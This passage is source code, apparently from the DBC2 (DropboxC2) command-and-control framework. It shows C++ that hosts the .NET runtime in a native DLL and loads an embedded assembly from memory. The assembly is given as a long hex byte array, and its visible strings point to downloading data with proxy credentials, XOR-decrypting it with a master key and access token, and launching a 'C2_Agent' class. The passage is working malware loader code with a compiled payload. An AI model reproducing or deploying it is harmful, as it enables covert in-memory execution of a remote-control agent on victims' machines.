	if (!createHost(L"v4.0.30319", &pCorRuntimeHost))
	{
		wprintf(L"Failed to create the runtime host\n");
		goto Cleanup;
	}

	
	// Start the CLR
	hr = pCorRuntimeHost->Start();
	if (FAILED(hr))
	{
		wprintf(L"CLR failed to start w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	DWORD appDomainId = NULL;
	hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
	if (FAILED(hr))
	{
		wprintf(L"RuntimeClrHost::GetCurrentAppDomainId failed w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	// Get a pointer to the default AppDomain in the CLR.
	hr = pCorRuntimeHost->GetDefaultDomain(&spAppDomainThunk);
	if (FAILED(hr))
	{
		wprintf(L"ICorRuntimeHost::GetDefaultDomain failed w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	hr = spAppDomainThunk->QueryInterface(IID_PPV_ARGS(&spDefaultAppDomain));
	if (FAILED(hr))
	{
		wprintf(L"Failed to get default AppDomain w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	// Load the assembly from memory
	SAFEARRAYBOUND bounds[1];
	bounds[0].cElements = dbc2LoaderDLL_len;
	bounds[0].lLbound = 0;

	SAFEARRAY* arr = SafeArrayCreate(VT_UI1, 1, bounds);
	SafeArrayLock(arr);
	memcpy(arr->pvData, dbc2LoaderDLL, dbc2LoaderDLL_len);
	SafeArrayUnlock(arr);

	hr = spDefaultAppDomain->Load_3(arr, &spAssembly);

	if (FAILED(hr))
	{
		wprintf(L"Failed to load the assembly w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	// Get the Type of PowerShellRunner.
	hr = spAssembly->GetType_2(bstrClassName, &spType);
	if (FAILED(hr))
	{
		wprintf(L"Failed to get the Type interface w/hr 0x%08lx\n", hr);
		goto Cleanup;
	}

	// Call the static method of the class
	InvokeMethod(spType, L"entryPoint", argument);

Cleanup:

	if (pCorRuntimeHost)
	{
		pCorRuntimeHost->Release();
		pCorRuntimeHost = NULL;
	}

	return 0;
}

void InvokeMethod(_TypePtr spType, wchar_t* method, wchar_t* command)
{
	HRESULT hr;
	bstr_t bstrStaticMethodName(method);
	SAFEARRAY *psaStaticMethodArgs = NULL;
	variant_t vtStringArg(command);
	variant_t vtPSEntryPointReturnVal;
	variant_t vtEmpty;


	psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
	LONG index = 0;
	
	hr = SafeArrayPutElement(psaStaticMethodArgs, &index, &vtStringArg);
	if (FAILED(hr))
	{
		wprintf(L"SafeArrayPutElement failed w/hr 0x%08lx\n", hr);
		return;
	}

	// Invoke the method from the Type interface.
	hr = spType->InvokeMember_3(
		bstrStaticMethodName, 
		static_cast<BindingFlags>(BindingFlags_InvokeMethod | BindingFlags_Static | BindingFlags_Public), 
		NULL, 
		vtEmpty,
		psaStaticMethodArgs, 
		&vtPSEntryPointReturnVal);

	if (FAILED(hr))
	{
		wprintf(L"Failed to invoke dbc2Loader.dbc2Loader.entryPoint w/hr 0x%08lx\n", hr);
		return;
	}

	SafeArrayDestroy(psaStaticMethodArgs);
	psaStaticMethodArgs = NULL;
}

//=======================================================================================
// DllMain
//=======================================================================================
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
					 )
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

================================================
FILE: dbc2Loader/nativeWrapper/dbc2LoaderWrapperCLR.h
================================================
#ifndef NATIVEDLLHOSTCLRDLL_H_
#define NATIVEDLLHOSTCLRDLL_H_

// extern "C" required to  avoid name mangling by C++ compiler
extern "C" __declspec(dllexport) int Dbc2Loader(wchar_t* argument);


// This is the dbc2Loader.dll managed DLL represented as an array of bytes (use my tool "transformFile.py -i dbc2Loader.dll -f cpp")
unsigned char dbc2LoaderDLL[] = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x03\x00\x57\x89\xd3\x59\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x02\x21\x0b\x01\x0b\x00\x00\x0a\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\xbe\x28\x00\x00\x00\x20\x00\x00\x00\x40\x00\x00\x00\x00\x00\x10\x00\x20\x00\x00\x00\x02\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x03\x00\x40\x85\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x28\x00\x00\x53\x00\x00\x00\x00\x40\x00\x00\xb0\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x60\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x20\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2e\x74\x65\x78\x74\x00\x00\x00\xc4\x08\x00\x00\x00\x20\x00\x00\x00\x0a\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60\x2e\x72\x73\x72\x63\x00\x00\x00\xb0\x02\x00\x00\x00\x40\x00\x00\x00\x04\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40\x2e\x72\x65\x6c\x6f\x63\x00\x00\x0c\x00\x00\x00\x00\x60\x00\x00\x00\x02\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x28\x00\x00\x00\x00\x00\x00\x48\x00\x00\x00\x02\x00\x05\x00\x34\x22\x00\x00\x34\x06\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x2a\x02\x28\x04\x00\x00\x0a\x00\x00\x00\x2a\x00\x13\x30\x06\x00\x3a\x00\x00\x00\x01\x00\x00\x11\x00\x02\x8e\x69\x8d\x05\x00\x00\x01\x0a\x16\x0b\x2b\x1c\x00\x06\x07\x02\x07\x91\x03\x07\x03\x6f\x05\x00\x00\x0a\x5d\x6f\x06\x00\x00\x0a\x61\xd2\x9c\x00\x07\x17\x58\x0b\x07\x02\x8e\x69\xfe\x04\x0d\x09\x2d\xda\x06\x0c\x2b\x00\x08\x2a\x00\x00\x13\x30\x06\x00\x37\x00\x00\x00\x02\x00\x00\x11\x00\x02\x8e\x69\x18\xfe\x01\x16\xfe\x01\x0a\x06\x2d\x1b\x00\x73\x01\x00\x00\x06\x02\x16\x9a\x02\x17\x9a\x02\x18\x9a\x02\x19\x9a\x28\x05\x00\x00\x06\x00\x00\x2b\x0d\x00\x72\x01\x00\x00\x70\x28\x07\x00\x00\x0a\x00\x00\x2a\x00\x13\x30\x06\x00\x32\x00\x00\x00\x03\x00\x00\x11\x00\x02\x17\x8d\x08\x00\x00\x01\x0c\x08\x16\x1f\x7c\x9d\x08\x6f\x08\x00\x00\x0a\x0a\x73\x01\x00\x00\x06\x06\x16\x9a\x06\x17\x9a\x06\x18\x9a\x06\x19\x9a\x28\x05\x00\x00\x06\x00\x16\x0b\x2b\x00\x07\x2a\x00\x00\x1b\x30\x03\x00\xe4\x00\x00\x00\x04\x00\x00\x11\x00\x73\x09\x00\x00\x0a\x0a\x28\x0a\x00\x00\x0a\x0b\x07\x14\xfe\x01\x13\x09\x11\x09\x2d\x16\x00\x07\x28\x0b\x00\x00\x0a\x6f\x0c\x00\x00\x0a\x00\x06\x07\x6f\x0d\x00\x00\x0a\x00\x00\x14\x0c\x00\x06\x03\x6f\x0e\x00\x00\x0a\x04\x28\x02\x00\x00\x06\x0c\x00\xde\x29\x0d\x00\x2b\x15\x00\x09\x6f\x0f\x00\x00\x0a\x28\x07\x00\x00\x0a\x00\x09\x6f\x10\x00\x00\x0a\x0d\x00\x09\x14\xfe\x01\x16\xfe\x01\x13\x09\x11\x09\x2d\xde\x00\xde\x00\x00\x08\x28\x11\x00\x00\x0a\x13\x04\x11\x04\x72\x35\x00\x00\x70\x6f\x12\x00\x00\x0a\x13\x05\x18\x8d\x06\x00\x00\x01\x13\x0a\x11\x0a\x16\x05\xa2\x11\x0a\x17\x0e\x04\xa2\x11\x0a\x13\x06\x17\x8d\x01\x00\x00\x01\x13\x0b\x11\x0b\x16\x11\x06\xa2\x11\x0b\x13\x07\x00\x11\x05\x11\x07\x28\x13\x00\x00\x0a\x13\x08\x00\xde\x29\x0d\x00\x2b\x15\x00\x09\x6f\x0f\x00\x00\x0a\x28\x07\x00\x00\x0a\x00\x09\x6f\x10\x00\x00\x0a\x0d\x00\x09\x14\xfe\x01\x16\xfe\x01\x13\x09\x11\x09\x2d\xde\x00\xde\x00\x00\x2a\x01\x1c\x00\x00\x00\x00\x2f\x00\x12\x41\x00\x29\x0e\x00\x00\x01\x00\x00\xaa\x00\x0f\xb9\x00\x29\x0e\x00\x00\x01\x42\x53\x4a\x42\x01\x00\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x76\x34\x2e\x30\x2e\x33\x30\x33\x31\x39\x00\x00\x00\x00\x05\x00\x6c\x00\x00\x00\x10\x02\x00\x00\x23\x7e\x00\x00\x7c\x02\x00\x00\x6c\x02\x00\x00\x23\x53\x74\x72\x69\x6e\x67\x73\x00\x00\x00\x00\xe8\x04\x00\x00\x5c\x00\x00\x00\x23\x55\x53\x00\x44\x05\x00\x00\x10\x00\x00\x00\x23\x47\x55\x49\x44\x00\x00\x00\x54\x05\x00\x00\xe0\x00\x00\x00\x23\x42\x6c\x6f\x62\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x01\x47\x15\x02\x00\x09\x00\x00\x00\x00\xfa\x25\x33\x00\x16\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x08\x00\x00\x00\x13\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x0a\x00\x01\x00\x00\x00\x00\x00\x06\x00\x34\x00\x2d\x00\x06\x00\xb3\x00\x93\x00\x06\x00\xd3\x00\x93\x00\x06\x00\x10\x01\xf1\x00\x06\x00\x24\x01\x2d\x00\x06\x00\x29\x01\x2d\x00\x06\x00\x45\x01\x2d\x00\x06\x00\x57\x01\x2d\x00\x0a\x00\x6d\x01\x62\x01\x0a\x00\x77\x01\x62\x01\x0a\x00\x82\x01\x62\x01\x0a\x00\xa0\x01\x62\x01\x0a\x00\xb0\x01\x62\x01\x06\x00\xfb\x01\x2d\x00\x06\x00\x36\x02\x24\x02\x06\x00\x44\x02\x2d\x00\x06\x00\x51\x02\x2d\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x01\x00\x01\x00\x10\x00\x19\x00\x19\x00\x05\x00\x01\x00\x01\x00\x50\x20\x00\x00\x00\x00\x86\x18\x3b\x00\x0a\x00\x01\x00\x5c\x20\x00\x00\x00\x00\x91\x00\x41\x00\x0e\x00\x01\x00\xa4\x20\x00\x00\x00\x00\x96\x00\x45\x00\x16\x00\x03\x00\xe8\x20\x00\x00\x00\x00\x96\x00\x4a\x00\x1c\x00\x04\x00\x28\x21\x00\x00\x00\x00\x86\x00\x55\x00\x21\x00\x05\x00\x00\x00\x01\x00\x5e\x00\x00\x00\x02\x00\x65\x00\x00\x00\x01\x00\x69\x00\x00\x00\x01\x00\x6e\x00\x00\x00\x01\x00\x72\x00\x00\x00\x02\x00\x76\x00\x00\x00\x03\x00\x7d\x00\x00\x00\x04\x00\x89\x00\x11\x00\x3b\x00\x29\x00\x19\x00\x3b\x00\x0a\x00\x21\x00\x3b\x00\x2e\x00\x09\x00\x3b\x00\x0a\x00\x31\x00\x30\x01\x39\x00\x31\x00\x3b\x01\x3d\x00\x39\x00\x4d\x01\x4b\x00\x31\x00\x5c\x01\x54\x00\x49\x00\x3b\x00\x0a\x00\x51\x00\x8c\x01\x63\x00\x61\x00\xbd\x01\x68\x00\x59\x00\xd4\x01\x6d\x00\x49\x00\xe4\x01\x73\x00\x49\x00\xee\x01\x79\x00\x71\x00\x05\x02\x7f\x00\x71\x00\x11\x02\x83\x00\x79\x00\x3f\x02\x88\x00\x79\x00\x49\x02\x8f\x00\x89\x00\x5b\x02\x95\x00\x2e\x00\x0b\x00\xb6\x00\x2e\x00\x13\x00\xbf\x00\x43\x00\x1b\x00\x33\x00\x42\x00\x50\x00\x5b\x00\x9d\x00\x04\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x24\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x2d\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3c\x4d\x6f\x64\x75\x6c\x65\x3e\x00\x64\x62\x63\x32\x4c\x6f\x61\x64\x65\x72\x2e\x64\x6c\x6c\x00\x64\x62\x63\x32\x4c\x6f\x61\x64\x65\x72\x00\x6d\x73\x63\x6f\x72\x6c\x69\x62\x00\x53\x79\x73\x74\x65\x6d\x00\x4f\x62\x6a\x65\x63\x74\x00\x2e\x63\x74\x6f\x72\x00\x78\x6f\x72\x00\x4d\x61\x69\x6e\x00\x65\x6e\x74\x72\x79\x50\x6f\x69\x6e\x74\x00\x6c\x6f\x61\x64\x44\x42\x43\x32\x00\x73\x6f\x75\x72\x63\x65\x00\x6b\x65\x79\x00\x61\x72\x67\x73\x00\x61\x72\x67\x00\x75\x72\x6c\x00\x78\x6f\x72\x4b\x65\x79\x00\x61\x63\x63\x65\x73\x73\x54\x6f\x6b\x65\x6e\x00\x6d\x61\x73\x74\x65\x72\x4b\x65\x79\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x43\x6f\x6d\x70\x69\x6c\x65\x72\x53\x65\x72\x76\x69\x63\x65\x73\x00\x43\x6f\x6d\x70\x69\x6c\x61\x74\x69\x6f\x6e\x52\x65\x6c\x61\x78\x61\x74\x69\x6f\x6e\x73\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x52\x75\x6e\x74\x69\x6d\x65\x43\x6f\x6d\x70\x61\x74\x69\x62\x69\x6c\x69\x74\x79\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x75\x6e\x74\x69\x6d\x65\x2e\x49\x6e\x74\x65\x72\x6f\x70\x53\x65\x72\x76\x69\x63\x65\x73\x00\x43\x6f\x6d\x56\x69\x73\x69\x62\x6c\x65\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x42\x79\x74\x65\x00\x53\x74\x72\x69\x6e\x67\x00\x67\x65\x74\x5f\x4c\x65\x6e\x67\x74\x68\x00\x67\x65\x74\x5f\x43\x68\x61\x72\x73\x00\x43\x6f\x6e\x73\x6f\x6c\x65\x00\x57\x72\x69\x74\x65\x4c\x69\x6e\x65\x00\x43\x68\x61\x72\x00\x53\x70\x6c\x69\x74\x00\x53\x79\x73\x74\x65\x6d\x2e\x4e\x65\x74\x00\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x00\x57\x65\x62\x52\x65\x71\x75\x65\x73\x74\x00\x49\x57\x65\x62\x50\x72\x6f\x78\x79\x00\x67\x65\x74\x5f\x44\x65\x66\x61\x75\x6c\x74\x57\x65\x62\x50\x72\x6f\x78\x79\x00\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x43\x61\x63\x68\x65\x00\x49\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73\x00\x67\x65\x74\x5f\x44\x65\x66\x61\x75\x6c\x74\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73\x00\x73\x65\x74\x5f\x43\x72\x65\x64\x65\x6e\x74\x69\x61\x6c\x73\x00\x73\x65\x74\x5f\x50\x72\x6f\x78\x79\x00\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x44\x61\x74\x61\x00\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x00\x67\x65\x74\x5f\x4d\x65\x73\x73\x61\x67\x65\x00\x67\x65\x74\x5f\x49\x6e\x6e\x65\x72\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x00\x53\x79\x73\x74\x65\x6d\x2e\x52\x65\x66\x6c\x65\x63\x74\x69\x6f\x6e\x00\x41\x73\x73\x65\x6d\x62\x6c\x79\x00\x4c\x6f\x61\x64\x00\x54\x79\x70\x65\x00\x47\x65\x74\x54\x79\x70\x65\x00\x41\x63\x74\x69\x76\x61\x74\x6f\x72\x00\x43\x72\x65\x61\x74\x65\x49\x6e\x73\x74\x61\x6e\x63\x65\x00\x00\x00\x00\x33\x5b\x00\x45\x00\x52\x00\x52\x00\x4f\x00\x52\x00\x5d\x00\x20\x00\x4d\x00\x69\x00\x73\x00\x73\x00\x69\x00\x6e\x00\x67\x00\x20\x00\x61\x00\x72\x00\x67\x00\x75\x00\x6d\x00\x65\x00\x6e\x00\x74\x00\x73\x00\x00\x25\x64\x00\x72\x00\x6f\x00\x70\x00\x62\x00\x6f\x00\x78\x00\x63\x00\x32\x00\x2e\x00\x43\x00\x32\x00\x5f\x00\x41\x00\x67\x00\x65\x00\x6e\x00\x74\x00\x00\x00\xd2\xb1\xf8\xe1\xdb\x8a\xc1\x44\xb3\x2a\x14\x9c\x5d\x79\x0a\x83\x00\x08\xb7\x7a\x5c\x56\x19\x34\xe0\x89\x03\x20\x00\x01\x07\x00\x02\x1d\x05\x1d\x05\x0e\x05\x00\x01\x01\x1d\x0e\x04\x00\x01\x08\x0e\x07\x20\x04\x01\x0e\x0e\x0e\x0e\x04\x20\x01\x01\x08\x04\x20\x01\x01\x02\x05\x01\x00\x01\x00\x00\x03\x20\x00\x08\x04\x20\x01\x03\x08\x08\x07\x04\x1d\x05\x08\x1d\x05\x02\x04\x00\x01\x01\x0e\x03\x07\x01\x02\x06\x20\x01\x1d\x0e\x1d\x03\x07\x07\x03\x1d\x0e\x08\x1d\x03\x04\x00\x00\x12\x2d\x04\x00\x00\x12\x35\x05\x20\x01\x01\x12\x35\x05\x20\x01\x01\x12\x2d\x05\x20\x01\x1d\x05\x0e\x03\x20\x00\x0e\x04\x20\x00\x12\x39\x06\x00\x01\x12\x3d\x1d\x05\x05\x20\x01\x12\x41\x0e\x07\x00\x02\x1c\x12\x41\x1d\x1c\x18\x07\x0c\x12\x25\x12\x2d\x1d\x05\x12\x39\x12\x3d\x12\x41\x1d\x0e\x1d\x1c\x1c\x02\x1d\x0e\x1d\x1c\x08\x01\x00\x08\x00\x00\x00\x00\x00\x1e\x01\x00\x01\x00\x54\x02\x16\x57\x72\x61\x70\x4e\x6f\x6e\x45\x78\x63\x65\x70\x74\x69\x6f\x6e\x54\x68\x72\x6f\x77\x73\x01\x00\x00\x90\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xae\x28\x00\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x5f\x43\x6f\x72\x44\x6c\x6c\x4d\x61\x69\x6e\x00\x6d\x73\x63\x6f\x72\x65\x65\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\xff\x25\x00\x20\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x10\x00\x00\x00\x18\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x00\x00\x00\x30\x00\x00\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x48\x00\x00\x00\x58\x40\x00\x00\x54\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x02\x34\x00\x00\x00\x56\x00\x53\x00\x5f\x00\x56\x00\x45\x00\x52\x00\x53\x00\x49\x00\x4f\x00\x4e\x00\x5f\x00\x49\x00\x4e\x00\x46\x00\x4f\x00\x00\x00\x00\x00\xbd\x04\xef\xfe\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x00\x00\x00\x01\x00\x56\x00\x61\x00\x72\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x49\x00\x6e\x00\x66\x00\x6f\x00\x00\x00\x00\x00\x24\x00\x04\x00\x00\x00\x54\x00\x72\x00\x61\x00\x6e\x00\x73\x00\x6c\x00\x61\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x00\x00\xb0\x04\xb4\x01\x00\x00\x01\x00\x53\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x49\x00\x6e\x00\x66\x00\x6f\x00\x00\x00\x90\x01\x00\x00\x01\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x34\x00\x62\x00\x30\x00\x00\x00\x2c\x00\x02\x00\x01\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x44\x00\x65\x00\x73\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x20\x00\x00\x00\x30\x00\x08\x00\x01\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x00\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x40\x00\x0f\x00\x01\x00\x49\x00\x6e\x00\x74\x00\x65\x00\x72\x00\x6e\x00\x61\x00\x6c\x00\x4e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x64\x00\x62\x00\x63\x00\x32\x00\x4c\x00\x6f\x00\x61\x00\x64\x00\x65\x00\x72\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\x28\x00\x02\x00\x01\x00\x4c\x00\x65\x00\x67\x00\x61\x00\x6c\x00\x43\x00\x6f\x00\x70\x00\x79\x00\x72\x00\x69\x00\x67\x00\x68\x00\x74\x00\x00\x00\x20\x00\x00\x00\x48\x00\x0f\x00\x01\x00\x4f\x00\x72\x00\x69\x00\x67\x00\x69\x00\x6e\x00\x61\x00\x6c\x00\x46\x00\x69\x00\x6c\x00\x65\x00\x6e\x00\x61\x00\x6d\x00\x65\x00\x00\x00\x64\x00\x62\x00\x63\x00\x32\x00\x4c\x00\x6f\x00\x61\x00\x64\x00\x65\x00\x72\x00\x2e\x00\x64\x00\x6c\x00\x6c\x00\x00\x00\x00\x00\x34\x00\x08\x00\x01\x00\x50\x00\x72\x00\x6f\x00\x64\x00\x75\x00\x63\x00\x74\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x38\x00\x08\x00\x01\x00\x41\x00\x73\x00\x73\x00\x65\x00\x6d\x00\x62\x00\x6c\x00\x79\x00\x20\x00\x56\x00\x65\x00\x72\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x00\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x2e\x00\x30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x0c\x00\x00\x00\xc0\x38\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00